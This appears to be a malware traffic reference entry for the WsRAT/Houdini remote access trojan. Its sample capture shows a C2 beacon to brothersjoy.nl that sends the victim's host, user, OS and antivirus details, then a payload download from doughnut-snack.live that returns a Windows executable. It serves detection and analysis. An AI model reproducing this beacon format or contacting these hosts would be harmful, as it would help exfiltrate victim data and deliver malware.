WsRAT / Houdini

Protocols:

TCP DNS

Ports:

80 53

Sample:

POST /is-ready HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: WSHRAT|7CD9E0E6|USER-PC|admin|Microsoft Windows 7 Professional |plus|nan-av|false - 10/6/2019|JavaScript-v1.2
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: brothersjoy.nl:6789
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

GET /klplu.tar.gz HTTP/1.1
Accept: */*
Accept-Language: en-US
Cache-Control: max-age=0
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: doughnut-snack.live
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Mon, 10 Jun 2019 14:25:41 GMT
Server: Apache
Last-Modified: Wed, 08 May 2019 14:57:19 GMT
Accept-Ranges: bytes
Content-Length: 26112
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-gzip

MZ......................@.............................................	.!..L.!This program cannot be run in DOS mode.